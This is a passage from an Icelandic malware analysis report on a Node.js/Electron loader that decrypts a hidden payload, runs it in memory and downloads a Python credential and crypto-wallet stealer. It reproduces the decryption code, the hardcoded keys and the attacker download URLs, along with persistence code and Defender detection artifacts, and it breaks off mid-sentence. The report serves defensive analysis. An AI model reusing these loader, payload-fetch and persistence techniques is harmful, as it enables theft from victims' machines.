sjálfu.",[888,2958,2960],{"id":2959},"_611-rökvísi-afkóðunar","6.1.1 Rökvísi afkóðunar",[525,2962,894],{},[525,2964,2965,2966,2969],{},"Scriptið skilgreinir ",[578,2967,2968],{},"decrypt()","-fall sem tekur fjórar breytur:",[630,2971,2972,2978,2984,2990],{},[633,2973,2974,2977],{},[578,2975,2976],{},"encdata",": dulkóðuðu Base64-kóðuðu gögnin",[633,2979,2980,2983],{},[578,2981,2982],{},"masterkey",": lykilfrasi í plaintext",[633,2985,2986,2989],{},[578,2987,2988],{},"salt",": dulkóðunarsalt (Base64)",[633,2991,2992,2995],{},[578,2993,2994],{},"iv",": initialization vector fyrir AES-afkóðun (Base64)",[525,2997,2998,2999,3002],{},"Afkóðunin er útfærð með ",[578,3000,3001],{},"crypto","-einingunni sem er innbyggð í Node.js. Hún gengur fyrir sig þannig:",[2110,3004,3005,3116,3229],{},[633,3006,3007,3010,3011,3090],{},[567,3008,3009],{},"Lykilleiðsla:","\nScriptið leiðir 256-bita samhverfan lykil með PBKDF2 (Password-Based Key Derivation Function 2):",[615,3012,3016],{"className":3013,"code":3014,"language":3015,"meta":529,"style":529},"language-js shiki shiki-themes github-light github-dark","const key = crypto.pbkdf2Sync(\n  masterkey,\n  Buffer.from(salt, \"base64\"),\n  100000,\n  32,\n  \"sha512\",\n);\n","js",[578,3017,3018,3040,3045,3062,3070,3077,3084],{"__ignoreMap":529},[1712,3019,3020,3024,3027,3030,3034,3037],{"class":1714,"line":1715},[1712,3021,3023],{"class":3022},"szBVR","const",[1712,3025,3026],{"class":2805}," key",[1712,3028,3029],{"class":3022}," =",[1712,3031,3033],{"class":3032},"sVt8B"," crypto.",[1712,3035,3036],{"class":2797},"pbkdf2Sync",[1712,3038,3039],{"class":3032},"(\n",[1712,3041,3042],{"class":1714,"line":530},[1712,3043,3044],{"class":3032},"  masterkey,\n",[1712,3046,3047,3050,3053,3056,3059],{"class":1714,"line":2096},[1712,3048,3049],{"class":3032},"  Buffer.",[1712,3051,3052],{"class":2797},"from",[1712,3054,3055],{"class":3032},"(salt, ",[1712,3057,3058],{"class":2801},"\"base64\"",[1712,3060,3061],{"class":3032},"),\n",[1712,3063,3064,3067],{"class":1714,"line":2102},[1712,3065,3066],{"class":2805},"  100000",[1712,3068,3069],{"class":3032},",\n",[1712,3071,3072,3075],{"class":1714,"line":2424},[1712,3073,3074],{"class":2805},"  32",[1712,3076,3069],{"class":3032},[1712,3078,3079,3082],{"class":1714,"line":2430},[1712,3080,3081],{"class":2801},"  \"sha512\"",[1712,3083,3069],{"class":3032},[1712,3085,3087],{"class":1714,"line":3086},7,[1712,3088,3089],{"class":3032},");\n",[630,3091,3092,3098,3104,3110],{},[633,3093,3094,3097],{},[567,3095,3096],{},"Hashfall:"," SHA-512",[633,3099,3100,3103],{},[567,3101,3102],{},"Ítranir:"," 100.000",[633,3105,3106,3109],{},[567,3107,3108],{},"Lykillengd:"," 32 bæti (256 bitar)",[633,3111,3112,3115],{},[567,3113,3114],{},"Salt:"," gefið sem Base64-afkóðað inntak",[633,3117,3118,3121,3122,3172,3174,3175],{},[567,3119,3120],{},"AES-256-CBC-afkóðun:","\nLeiddi lykillinn er svo notaður til að búa til AES-decipher-hlut:",[615,3123,3125],{"className":3013,"code":3124,"language":3015,"meta":529,"style":529},"const decipher = crypto.createDecipheriv(\n  \"aes-256-cbc\",\n  key,\n  Buffer.from(iv, \"base64\"),\n);\n",[578,3126,3127,3143,3150,3155,3168],{"__ignoreMap":529},[1712,3128,3129,3131,3134,3136,3138,3141],{"class":1714,"line":1715},[1712,3130,3023],{"class":3022},[1712,3132,3133],{"class":2805}," decipher",[1712,3135,3029],{"class":3022},[1712,3137,3033],{"class":3032},[1712,3139,3140],{"class":2797},"createDecipheriv",[1712,3142,3039],{"class":3032},[1712,3144,3145,3148],{"class":1714,"line":530},[1712,3146,3147],{"class":2801},"  \"aes-256-cbc\"",[1712,3149,3069],{"class":3032},[1712,3151,3152],{"class":1714,"line":2096},[1712,3153,3154],{"class":3032},"  key,\n",[1712,3156,3157,3159,3161,3164,3166],{"class":1714,"line":2102},[1712,3158,3049],{"class":3032},[1712,3160,3052],{"class":2797},[1712,3162,3163],{"class":3032},"(iv, ",[1712,3165,3058],{"class":2801},[1712,3167,3061],{"class":3032},[1712,3169,3170],{"class":1714,"line":2424},[1712,3171,3089],{"class":3032},[724,3173],{},"Dulkóðaði payloadinn er afkóðaður með venjulegum CBC-móð (Cipher Block Chaining):",[615,3176,3178],{"className":3013,"code":3177,"language":3015,"meta":529,"style":529},"let decrypted = decipher.update(encdata, \"base64\", \"utf8\");\ndecrypted += decipher.final(\"utf8\");\n",[578,3179,3180,3209],{"__ignoreMap":529},[1712,3181,3182,3185,3188,3191,3194,3197,3200,3202,3204,3207],{"class":1714,"line":1715},[1712,3183,3184],{"class":3022},"let",[1712,3186,3187],{"class":3032}," decrypted ",[1712,3189,3190],{"class":3022},"=",[1712,3192,3193],{"class":3032}," decipher.",[1712,3195,3196],{"class":2797},"update",[1712,3198,3199],{"class":3032},"(encdata, ",[1712,3201,3058],{"class":2801},[1712,3203,646],{"class":3032},[1712,3205,3206],{"class":2801},"\"utf8\"",[1712,3208,3089],{"class":3032},[1712,3210,3211,3214,3217,3219,3222,3225,3227],{"class":1714,"line":530},[1712,3212,3213],{"class":3032},"decrypted ",[1712,3215,3216],{"class":3022},"+=",[1712,3218,3193],{"class":3032},[1712,3220,3221],{"class":2797},"final",[1712,3223,3224],{"class":3032},"(",[1712,3226,3206],{"class":2801},[1712,3228,3089],{"class":3032},[633,3230,3231,3234,3235,3238,3239,3260,3262],{},[567,3232,3233],{},"Dýnamísk keyrsla:","\nAfkóðaði JavaScript-kóðinn er aldrei skrifaður á disk. Í staðinn er hann keyrður dýnamískt í minni með ",[578,3236,3237],{},"Function","-smiðnum:",[615,3240,3242],{"className":3013,"code":3241,"language":3015,"meta":529,"style":529},"new Function(\"require\", decrypted)(require);\n",[578,3243,3244],{"__ignoreMap":529},[1712,3245,3246,3249,3252,3254,3257],{"class":1714,"line":1715},[1712,3247,3248],{"class":3022},"new",[1712,3250,3251],{"class":2797}," Function",[1712,3253,3224],{"class":3032},[1712,3255,3256],{"class":2801},"\"require\"",[1712,3258,3259],{"class":3032},", decrypted)(require);\n",[724,3261],{},"Þessi tækni gerir fileless keyrslu mögulega og dregur úr líkum á detection frá hefðbundnum antivirus-engines sem byggja á skönnun á diski.",[525,3264,3265],{},"Þessi aðferð sýnir lagskipta vörn gegn reverse engineering með því að sameina lykilleiðslu, sterka dulkóðun og dýnamíska keyrslu í minni.",[525,3267,3268],{},[567,3269,3270],{},"Lykilefni og dulkóðuð gögn",[525,3272,3273],{},"Scriptið inniheldur eftirfarandi harðkóðuð inntök:",[630,3275,3276,3282,3290,3298],{},[633,3277,3278,3281],{},[567,3279,3280],{},"Dulkóðuð gögn:"," stórt Base64-kóðað blob",[633,3283,3284,1564,3287],{},[567,3285,3286],{},"Masterlykill:",[578,3288,3289],{},"9uNXNGt8/7kN7ZiEvy1OdYNpbcnzkERs",[633,3291,3292,1564,3294,3297],{},[567,3293,3114],{},[578,3295,3296],{},"maXtklzMEZRY9dbul/XPSw=="," (Base64-kóðað)",[633,3299,3300,1564,3303,3297],{},[567,3301,3302],{},"IV:",[578,3304,3305],{},"HwK6sOz7FBbL+YsrOxtYUg==",[525,3307,3308,3309,613],{},"Allt þetta er byggt beint inn í frumkóða ",[578,3310,2839],{},[740,3312,3314],{"id":3313},"_62-hegðun-payloadsins-eftir-afkóðun","6.2 Hegðun payloadsins eftir afkóðun",[525,3316,746],{},[525,3318,3319],{},"Eftir afkóðun verður innbyggði payloadinn fullgilt JavaScript-forrit sem framkvæmir eftirfarandi illgjörnu aðgerðir:",[888,3321,3323],{"id":3322},"_621-undirbúningur-umhverfis","6.2.1 Undirbúningur umhverfis",[525,3325,894],{},[525,3327,3328],{},"Afkóðaði payloadinn byrjar á því að setja upp keyrsluumhverfi sitt með innbyggðum Node.js-einingum. Þessi uppsetningarfasi tryggir að allar nauðsynlegar slóðir og vinnumöppur séu skýrt skilgreindar áður en nokkur illgjörn hegðun hefst.",[630,3330,3331,3364],{},[633,3332,3333,3336,3337,3340,3341],{},[567,3334,3335],{},"Ákvörðun tímabundinnar möppu:","\nMalware-ið kallar á ",[578,3338,3339],{},"os.tmpdir()"," til að finna slóðina á tímabundna möppu kerfisins. Þetta er algeng taktík í malware því tímabundnar möppur eru yfirleitt skrifanlegar og endpoint-varnir skoða þær síður.",[615,3342,3344],{"className":3013,"code":3343,"language":3015,"meta":529,"style":529},"const tempDir = os.tmpdir();\n",[578,3345,3346],{"__ignoreMap":529},[1712,3347,3348,3350,3353,3355,3358,3361],{"class":1714,"line":1715},[1712,3349,3023],{"class":3022},[1712,3351,3352],{"class":2805}," tempDir",[1712,3354,3029],{"class":3022},[1712,3356,3357],{"class":3032}," os.",[1712,3359,3360],{"class":2797},"tmpdir",[1712,3362,3363],{"class":3032},"();\n",[633,3365,3366,3369,3370,3383],{},[567,3367,3368],{},"Bygging slóða:","\nScriptið byggir svo algjörar slóðir fyrir tvær mikilvægar skrár:",[630,3371,3372,3377],{},[633,3373,3374,3376],{},[578,3375,2900],{},": safnskráin sem inniheldur hinn eiginlega Python-byggða stealer á öðru þrepi",[633,3378,3379,3382],{},[578,3380,3381],{},"bnd.exe",": valkvæm keyranleg skrá sem gæti verið persistence-bakdyr eða viðbótarpayload",[615,3384,3386],{"className":3013,"code":3385,"language":3015,"meta":529,"style":529},"const tempFile = path.join(tempDir, \"pyth.zip\");\nconst binderFile = path.join(tempDir, \"bnd.exe\");\n",[578,3387,3388,3411],{"__ignoreMap":529},[1712,3389,3390,3392,3395,3397,3400,3403,3406,3409],{"class":1714,"line":1715},[1712,3391,3023],{"class":3022},[1712,3393,3394],{"class":2805}," tempFile",[1712,3396,3029],{"class":3022},[1712,3398,3399],{"class":3032}," path.",[1712,3401,3402],{"class":2797},"join",[1712,3404,3405],{"class":3032},"(tempDir, ",[1712,3407,3408],{"class":2801},"\"pyth.zip\"",[1712,3410,3089],{"class":3032},[1712,3412,3413,3415,3418,3420,3422,3424,3426,3429],{"class":1714,"line":530},[1712,3414,3023],{"class":3022},[1712,3416,3417],{"class":2805}," binderFile",[1712,3419,3029],{"class":3022},[1712,3421,3399],{"class":3032},[1712,3423,3402],{"class":2797},[1712,3425,3405],{"class":3032},[1712,3427,3428],{"class":2801},"\"bnd.exe\"",[1712,3430,3089],{"class":3032},[525,3432,3433],{},"Þessi uppsetning slóða felur setningagerð slóða sem er sértæk fyrir stýrikerfið og gerir malware-inu kleift að starfa hnökralaust á hvaða Windows-kerfi sem er. Hún leggur einnig grunninn að þeim búnaði til að sækja og pakka út skrám sem á eftir kemur.",[888,3435,3437],{"id":3436},"_622-sókn-payloads-með-varaleiðum","6.2.2 Sókn payloads með varaleiðum",[525,3439,894],{},[525,3441,3442],{},"Annar meginfasi afkóðaða JavaScript-payloadsins felur í sér að sækja illgjarna ZIP-safnskrá frá fjartengdum heimildum. Þessi búnaður er hannaður með marglaga varaleiðum til að auka viðnámsþrótt og aðgengi.",[630,3444,3445,3477,3562,3596],{},[633,3446,3447,3450,3451,3471,3473,3474,3476],{},[567,3448,3449],{},"Aðalhlekkurinn fundinn í gegnum Rentry.co","\nScriptið byrjar á því að finna dýnamískt URL frá texta-paste-þjónustu. Það sendir GET-beiðni á:",[615,3452,3454],{"className":3013,"code":3453,"language":3015,"meta":529,"style":529},"const url = \"https://rentry.co/7vzd22fg36hfdd33/raw\";\n",[578,3455,3456],{"__ignoreMap":529},[1712,3457,3458,3460,3463,3465,3468],{"class":1714,"line":1715},[1712,3459,3023],{"class":3022},[1712,3461,3462],{"class":2805}," url",[1712,3464,3029],{"class":3022},[1712,3466,3467],{"class":2801}," \"https://rentry.co/7vzd22fg36hfdd33/raw\"",[1712,3469,3470],{"class":3032},";\n",[724,3472],{},"Þetta skilar URL-streng í plaintext sem vísar á hina eiginlegu staðsetningu ",[578,3475,2900],{},"-safnskrárinnar. Að nota framsendingarbúnað á þennan hátt er algeng obfuskunartækni, hún hylur hina raunverulegu illgjörnu URL og gerir statíska detection erfiðari.",[633,3478,3479,3482,3483,3515,3517,3518,3520,3521,3555,3557,3558,3561],{},[567,3480,3481],{},"Keyrsla niðurhalsins","\nFundna URL-ið er svo kallað með Axios-safninu og svarstraumi:",[615,3484,3486],{"className":3013,"code":3485,"language":3015,"meta":529,"style":529},"const fileResponse = await axios.get(fileUrl, { responseType: \"stream\" });\n",[578,3487,3488],{"__ignoreMap":529},[1712,3489,3490,3492,3495,3497,3500,3503,3506,3509,3512],{"class":1714,"line":1715},[1712,3491,3023],{"class":3022},[1712,3493,3494],{"class":2805}," fileResponse",[1712,3496,3029],{"class":3022},[1712,3498,3499],{"class":3022}," await",[1712,3501,3502],{"class":3032}," axios.",[1712,3504,3505],{"class":2797},"get",[1712,3507,3508],{"class":3032},"(fileUrl, { responseType: ",[1712,3510,3511],{"class":2801},"\"stream\"",[1712,3513,3514],{"class":3032}," });\n",[724,3516],{},"Skráin er skrifuð á disk sem ",[578,3519,2900],{}," í tímabundnu möppu kerfisins:",[615,3522,3524],{"className":3013,"code":3523,"language":3015,"meta":529,"style":529},"const writer = fs.createWriteStream(tempFile);\nfileResponse.data.pipe(writer);\n",[578,3525,3526,3544],{"__ignoreMap":529},[1712,3527,3528,3530,3533,3535,3538,3541],{"class":1714,"line":1715},[1712,3529,3023],{"class":3022},[1712,3531,3532],{"class":2805}," writer",[1712,3534,3029],{"class":3022},[1712,3536,3537],{"class":3032}," fs.",[1712,3539,3540],{"class":2797},"createWriteStream",[1712,3542,3543],{"class":3032},"(tempFile);\n",[1712,3545,3546,3549,3552],{"class":1714,"line":530},[1712,3547,3548],{"class":3032},"fileResponse.data.",[1712,3550,3551],{"class":2797},"pipe",[1712,3553,3554],{"class":3032},"(writer);\n",[724,3556],{},"Þessu niðurhali er pakkað inn í ",[578,3559,3560],{},"Promise"," til að tryggja að því ljúki samstillt áður en frekari rökvísi keyrir.",[633,3563,3564,3567,3568,3593,3595],{},[567,3565,3566],{},"Vara-URL","\nEf Rentry-hlekkurinn bregst prófar scriptið harðkóðaða varastaði:",[615,3569,3571],{"className":3013,"code":3570,"language":3015,"meta":529,"style":529},"https://cosmicdust.zip/.well-known/pki-validation/pyth.zip\nhttps://cosmoplanets.net/well-known/pki-validation/pyth.zip\n",[578,3572,3573,3584],{"__ignoreMap":529},[1712,3574,3575,3578,3580],{"class":1714,"line":1715},[1712,3576,3577],{"class":2797},"https",[1712,3579,1199],{"class":3032},[1712,3581,3583],{"class":3582},"sJ8bj","//cosmicdust.zip/.well-known/pki-validation/pyth.zip\n",[1712,3585,3586,3588,3590],{"class":1714,"line":530},[1712,3587,3577],{"class":2797},[1712,3589,1199],{"class":3032},[1712,3591,3592],{"class":3582},"//cosmoplanets.net/well-known/pki-validation/pyth.zip\n",[724,3594],{},"Þessi lén eru uppbyggð til að virðast vera hluti af stöðluðum TLS-staðfestingarmöppum, hugsanlega til að líkja eftir slóðum Let's Encrypt eða lénastaðfestingar og draga úr tortryggni. Hver varaleið er reynd aftur með sömu straum- og skráaskrifsrökvísi.",[633,3597,3598,3601,3602,3605],{},[567,3599,3600],{},"Þol og obfuskun","\nÞessi varaleiðabúnaður tryggir að malware-ið hafi margar leiðir til að sækja payloadinn á öðru þrepi. Notkun dýnamísks vísis (",[578,3603,3604],{},"rentry.co",") og margra spegla til að falla yfir á gerir malware-ið þolnara gegn niðurtekt, blokkun og DNS-sinkholes.",[525,3607,3608],{},"Þessi fasi sýnir vandaða rekstrarskipulagningu höfunda malware-sins, með lagskiptri afritun og vel dulbúnum afhendingarinnviðum.",[630,3610,3611,3617],{},[633,3612,3613,3614,3616],{},"Sækir ",[578,3615,2900],{}," frá URL-inu sem fannst",[633,3618,3619,3620],{},"Ef það bregst prófar það varaspegla:\n",[630,3621,3622,3627],{},[633,3623,3624],{},[578,3625,3626],{},"https://cosmicdust.zip/.well-known/pki-validation/pyth.zip",[633,3628,3629],{},[578,3630,3631],{},"https://cosmoplanets.net/well-known/pki-validation/pyth.zip",[888,3633,3635],{"id":3634},"_623-útdráttur-payloads-og-meðhöndlun-hans","6.2.3 Útdráttur payloads og meðhöndlun hans",[525,3637,894],{},[525,3639,1179,3640,3642,3643,3645],{},[578,3641,2900],{},"-safnskráin hefur verið sótt og vistuð á disk heldur malware-ið áfram og dregur út innihald hennar og undirbýr það til keyrslu. Þetta er gert með Node.js-safninu ",[578,3644,2872],{},", sem gerir kleift að vinna með ZIP-skrár í kóða.",[630,3647,3648,3696,3723],{},[633,3649,3650,3653,3690,3692,3693,3695],{},[567,3651,3652],{},"ZIP-útdráttur:",[615,3654,3656],{"className":3013,"code":3655,"language":3015,"meta":529,"style":529},"const zip = new AdmZip(tempFile);\nzip.extractAllTo(tempDir, true);\n",[578,3657,3658,3675],{"__ignoreMap":529},[1712,3659,3660,3662,3665,3667,3670,3673],{"class":1714,"line":1715},[1712,3661,3023],{"class":3022},[1712,3663,3664],{"class":2805}," zip",[1712,3666,3029],{"class":3022},[1712,3668,3669],{"class":3022}," new",[1712,3671,3672],{"class":2797}," AdmZip",[1712,3674,3543],{"class":3032},[1712,3676,3677,3680,3683,3685,3688],{"class":1714,"line":530},[1712,3678,3679],{"class":3032},"zip.",[1712,3681,3682],{"class":2797},"extractAllTo",[1712,3684,3405],{"class":3032},[1712,3686,3687],{"class":2805},"true",[1712,3689,3089],{"class":3032},[724,3691],{},"Þetta dregur allt innihald safnskrárinnar út í tímabundna möppu kerfisins. ",[578,3694,3687],{},"-flaggið tryggir að skrifað sé yfir allar skrár sem þegar eru til.",[633,3697,3698,3701,3702,3704,3705],{},[567,3699,3700],{},"Innihald safnskrárinnar:","\nSafnskráin ",[578,3703,2900],{}," inniheldur fullpakkað Python-verkefni, þar á meðal:",[630,3706,3707,3710,3713],{},[633,3708,3709],{},"Möppuuppbyggingu sem líkist lögmætum Python-pakka",[633,3711,3712],{},"Nokkrar Python-einingar og háðar einingar",[633,3714,3715,3716,3718,3719,3722],{},"Lykilskrána ",[578,3717,609],{}," sem liggur á ",[578,3720,3721],{},"Crypto/Util/astor.py"," og er megin-stealer-payloadinn",[633,3724,3725,3728,3729,3731,3732,3752],{},[567,3726,3727],{},"Útskipting staðgengla:","\nMalware-ið skiptir dýnamískt út fyrirfram skilgreindum staðgenglum inni í ",[578,3730,609],{}," til að skjóta inn uppsetningargögnum sem árásaraðilinn stýrir, svo sem:",[630,3733,3734,3737,3740,3746],{},[633,3735,3736],{},"URL á Discord-webhook",[633,3738,3739],{},"Heimilisföng kryptóveskja (BTC, ETH, DOGE, LTC, XMR o.s.frv.)",[633,3741,3742,3743,1138],{},"Auðkenni notanda (",[578,3744,3745],{},"%USERID%",[633,3747,3748,3749,1138],{},"Flagg um villustöðu (",[578,3750,3751],{},"%ERRORSTATUS%",[615,3753,3755],{"className":3013,"code":3754,"language":3015,"meta":529,"style":529},"fs.readFile(extractedDir + \"\\Crypto\\Util\\astor.py\", 'utf8', (err, data) => {\n  let updatedFile = data\n    .replace(\"%DISCORD%\", \u003Cwebhook>)\n    .replace(\"%ADDRESSBTC%\", \u003Cbtc_address>)\n    ...\n    .replace(\"%ERRORSTATUS%\", displayError ? \"true\" : \"false\");\n\n  fs.writeFile(extractedDir + \"\\Crypto\\Util\\astor.py\", updatedFile, 'utf8');\n});\n",[578,3756,3757,3818,3831,3854,3864,3869,3874,3879,3885],{"__ignoreMap":529},[1712,3758,3759,3762,3765,3768,3771,3774,3777,3780,3783,3786,3789,3792,3794,3797,3800,3804,3806,3809,3812,3815],{"class":1714,"line":1715},[1712,3760,3761],{"class":3032},"fs.",[1712,3763,3764],{"class":2797},"readFile",[1712,3766,3767],{"class":3032},"(extractedDir ",[1712,3769,3770],{"class":3022},"+",[1712,3772,3773],{"class":2801}," \"",[1712,3775,3776],{"class":2805},"\\C",[1712,3778,3779],{"class":2801},"rypto",[1712,3781,3782],{"class":2805},"\\U",[1712,3784,3785],{"class":2801},"til",[1712,3787,3788],{"class":2805},"\\a",[1712,3790,3791],{"class":2801},"stor.py\"",[1712,3793,646],{"class":3032},[1712,3795,3796],{"class":2801},"'utf8'",[1712,3798,3799],{"class":3032},", (",[1712,3801,3803],{"class":3802},"s4XuR","err",[1712,3805,646],{"class":3032},[1712,3807,3808],{"class":3802},"data",[1712,3810,3811],{"class":3032},") ",[1712,3813,3814],{"class":3022},"=>",[1712,3816,3817],{"class":3032}," {\n",[1712,3819,3820,3823,3826,3828],{"class":1714,"line":530},[1712,3821,3822],{"class":3022},"  let",[1712,3824,3825],{"class":3032}," updatedFile ",[1712,3827,3190],{"class":3022},[1712,3829,3830],{"class":3032}," data\n",[1712,3832,3833,3836,3839,3841,3844,3847,3851],{"class":1714,"line":2096},[1712,3834,3835],{"class":3032},"    .",[1712,3837,3838],{"class":2797},"replace",[1712,3840,3224],{"class":3032},[1712,3842,3843],{"class":2801},"\"%DISCORD%\"",[1712,3845,3846],{"class":3032},", \u003C",[1712,3848,3850],{"class":3849},"s9eBZ","webhook",[1712,3852,3853],{"class":3032},">)\n",[1712,3855,3856,3859,3862],{"class":1714,"line":2102},[1712,3857,3858],{"class":3032},"    .replace(\"%ADDRESSBTC%\", \u003C",[1712,3860,3861],{"class":2805},"btc_address",[1712,3863,3853],{"class":3032},[1712,3865,3866],{"class":1714,"line":2424},[1712,3867,3868],{"class":3032},"    ...\n",[1712,3870,3871],{"class":1714,"line":2430},[1712,3872,3873],{"class":3032},"    .replace(\"%ERRORSTATUS%\", displayError ? \"true\" : \"false\");\n",[1712,3875,3876],{"class":1714,"line":3086},[1712,3877,3878],{"emptyLinePlaceholder":325},"\n",[1712,3880,3882],{"class":1714,"line":3881},8,[1712,3883,3884],{"class":3032},"  fs.writeFile(extractedDir + \"\\Crypto\\Util\\astor.py\", updatedFile, 'utf8');\n",[1712,3886,3888],{"class":1714,"line":3887},9,[1712,3889,3890],{"class":3032},"});\n",[525,3892,3893],{},"Þessi fasi dýnamískrar meðhöndlunar er nauðsynlegur. Með því að fresta innsetningu gildanna sem árásaraðilinn stýrir til keyrslutíma kemst payloadinn hjá statískri detection og stjórnandinn getur breytt skotmörkum og endapunktum exfiltration án þess að pakka safnskránni upp á nýtt.",[630,3895,3896],{},[633,3897,3898,3899,3901,3902],{},"Skiptir út staðgengilsstrengjum í ",[578,3900,609],{},":\n",[630,3903,3904,3910,3920],{},[633,3905,3906,3907],{},"Discord-webhook: ",[578,3908,3909],{},"%DISCORD%",[633,3911,3912,3913,646,3916,3919],{},"Heimilisföng veskja: ",[578,3914,3915],{},"%ADDRESSBTC%",[578,3917,3918],{},"%ADDRESSETH%"," o.s.frv.",[633,3921,3922],{},"Auðkenni notanda og villuflögg",[888,3924,3926],{"id":3925},"_624-keyrsla-malware-sins","6.2.4 Keyrsla malware-sins",[525,3928,894],{},[630,3930,3931],{},[633,3932,3933,3934],{},"Eftir að innspýtingu staðgengla í astor.py er lokið hefur malware-ið keyrslu stealersins með kerfiskalli",[615,3935,3937],{"className":3013,"code":3936,"language":3015,"meta":529,"style":529},"exec(\"python.exe Crypto\\\\Util\\\\astor.py\");\n",[578,3938,3939],{"__ignoreMap":529},[1712,3940,3941,3944,3946,3949,3952,3955,3957,3960],{"class":1714,"line":1715},[1712,3942,3943],{"class":2797},"exec",[1712,3945,3224],{"class":3032},[1712,3947,3948],{"class":2801},"\"python.exe Crypto",[1712,3950,3951],{"class":2805},"\\\\",[1712,3953,3954],{"class":2801},"Util",[1712,3956,3951],{"class":2805},[1712,3958,3959],{"class":2801},"astor.py\"",[1712,3961,3089],{"class":3032},[525,3963,3964],{},"Þessi skipun er keyrð með child_process.exec-fallinu í Node.js og ræsir innbyggða Python-payloadinn í sérstöku ferli. Þetta tiltekna keyrslumynstur, python.exe með argumentinu Crypto\\Util\\astor.py, sást í telemetríugögnum sem Microsoft Defender for Endpoint safnaði, sem gerir það að áreiðanlegu detection-artifacti. Í reynd lítur keyrslukeðjan svona út:",[525,3966,3967],{},"Öll keyrslukeðja malware-sins, eins og hún sást í telemetríu Microsoft Defender for Endpoint, fylgir þessari röð:",[630,3969,3970,3978,3985,3991],{},[633,3971,3972,3974,3975],{},[578,3973,605],{}," (Electron-byggt ílát) kallar á ",[578,3976,3977],{},"node.exe",[633,3979,3980,3982,3983],{},[578,3981,3977],{}," ræsir ",[578,3984,1127],{},[633,3986,3987,3982,3989],{},[578,3988,1127],{},[578,3990,580],{},[633,3992,3993,3995,3996],{},[578,3994,580],{}," keyrir skrána ",[578,3997,1137],{},[888,3999,4001],{"id":4000},"_625-styrking-persistence","6.2.5 Styrking persistence",[525,4003,894],{},[525,4005,4006,4007,4009],{},"Til að tryggja langvarandi viðveru á sýkta kerfinu hefur afkóðaði JavaScript-payloadinn rökvísi til að koma persistence á að nýju með því að afrita upphaflega binary-ið (",[578,4008,601],{},") á falinn stað inni í notandaprófílnum.",[525,4011,4012],{},[567,4013,4014],{},"Markmappa",[525,4016,4017],{},"Skráin er afrituð í möppu sem líkir eftir lögmætum Windows-hlutum:",[615,4019,4021],{"className":3013,"code":4020,"language":3015,"meta":529,"style":529},"%APPDATA%\\Microsoft\\Internet Explorer\\UserData\\Updater.exe\n",[578,4022,4023],{"__ignoreMap":529},[1712,4024,4025,4028,4031,4033],{"class":1714,"line":1715},[1712,4026,4027],{"class":3022},"%",[1712,4029,4030],{"class":2805},"APPDATA",[1712,4032,4027],{"class":3022},[1712,4034,4035],{"class":3032},"\\Microsoft\\Internet Explorer\\UserData\\Updater.exe\n",[525,4037,4038],{},"Þessi staðsetning er valin viljandi:",[630,4040,4041,4044],{},[633,4042,4043],{},"%APPDATA% er skrifanlegt fyrir venjulega notendur og krefst engra kerfisstjóraréttinda.",[633,4045,4046],{},"Heiti möppunnar líkir eftir lögmætum Microsoft-forritsmöppum, sem gerir hana síður grunsamlega.",[525,4048,4049],{},[567,4050,4051],{},"Afritunarbúnaður:",[525,4053,4054],{},"Afritunaraðgerðin notar fs.copyFileSync()-fallið í Node.js:",[615,4056,4058],{"className":3013,"code":4057,"language":3015,"meta":529,"style":529},"fs.copyFileSync(\n  process.env.PORTABLE_EXECUTABLE_FILE,\n  path.join(\n    process.env.APPDATA,\n    \"Microsoft\",\n    \"Internet Explorer\",\n    \"UserData\",\n    \"Updater.exe\",\n  ),\n);\n",[578,4059,4060,4069,4079,4088,4097,4104,4111,4118,4125,4130],{"__ignoreMap":529},[1712,4061,4062,4064,4067],{"class":1714,"line":1715},[1712,4063,3761],{"class":3032},[1712,4065,4066],{"class":2797},"copyFileSync",[1712,4068,3039],{"class":3032},[1712,4070,4071,4074,4077],{"class":1714,"line":530},[1712,4072,4073],{"class":3032},"  process.env.",[1712,4075,4076],{"class":2805},"PORTABLE_EXECUTABLE_FILE",[1712,4078,3069],{"class":3032},[1712,4080,4081,4084,4086],{"class":1714,"line":2096},[1712,4082,4083],{"class":3032},"  path.",[1712,4085,3402],{"class":2797},[1712,4087,3039],{"class":3032},[1712,4089,4090,4093,4095],{"class":1714,"line":2102},[1712,4091,4092],{"class":3032},"    process.env.",[1712,4094,4030],{"class":2805},[1712,4096,3069],{"class":3032},[1712,4098,4099,4102],{"class":1714,"line":2424},[1712,4100,4101],{"class":2801},"    \"Microsoft\"",[1712,4103,3069],{"class":3032},[1712,4105,4106,4109],{"class":1714,"line":2430},[1712,4107,4108],{"class":2801},"    \"Internet Explorer\"",[1712,4110,3069],{"class":3032},[1712,4112,4113,4116],{"class":1714,"line":3086},[1712,4114,4115],{"class":2801},"    \"UserData\"",[1712,4117,3069],{"class":3032},[1712,4119,4120,4123],{"class":1714,"line":3881},[1712,4121,4122],{"class":2801},"    \"Updater.exe\"",[1712,4124,3069],{"class":3032},[1712,4126,4127],{"class":1714,"line":3887},[1712,4128,4129],{"class":3032},"  ),\n",[1712,4131,4133],{"class":1714,"line":4132},10,[1712,4134,3089],{"class":3032},[630,4136,4137,4140],{},[633,4138,4139],{},"PORTABLE_EXECUTABLE_FILE er umhverfisbreyta sem margir packers (svo sem Electron) setja sjálfkrafa til að vísa á slóð þess binaries sem er í keyrslu.",[633,4141,4142],{},"path.join(...) byggir fullgilda áfangaslóð sem virkar á ólíkum stýrikerfum.",[525,4144,4145],{},"Þessi rökvísi keyrir aðeins ef skráin er ekki þegar til staðar og virkar þannig sem sjálfsviðgerðarbúnaður sem endurheimtir dropperinn ef honum er eytt.",[525,4147,4148,4151],{},[567,4149,4150],{},"Hlutverk í malware-keðjunni","\nTilvist þessa afritaða Updater.exe tryggir að:",[630,4153,4154,4157],{},[633,4155,4156],{},"Loaderinn getur kveikt á sjálfum sér aftur þótt kerfið sé endurræst.",[633,4158,4159],{},"Öll sýkingarkeðjan (sem leiðir til main.exe, node.exe og loks astor.py) getur hafist á nýjan leik án þess að reiða sig á hefðbundinn persistence-búnað í registry, sem er líklegri til að vera vaktaður.",[888,4161,4163],{"id":4162},"_626-valkvæm-keyrsla-binders","6.2.6 Valkvæm keyrsla binders",[525,4165,894],{},[525,4167,4168,4169,4171],{},"Auk þess að sækja og keyra megin-stealer-payloadinn (",[578,4170,609],{},") hefur afkóðaða JavaScriptið einnig rökvísi til að sækja og ræsa, ef svo er stillt, aðra keyranlega skrá sem kölluð er \"binder\". Þennan hluta má nota fyrir persistence, til að dreifa athygli eða til að dreifa fleiri malware-einingum.",[525,4173,4174],{},[567,4175,4176],{},"Skilyrt keyrsla",[525,4178,4179],{},"Binder-rökvísin er aðeins virkjuð ef tiltekið flagg er 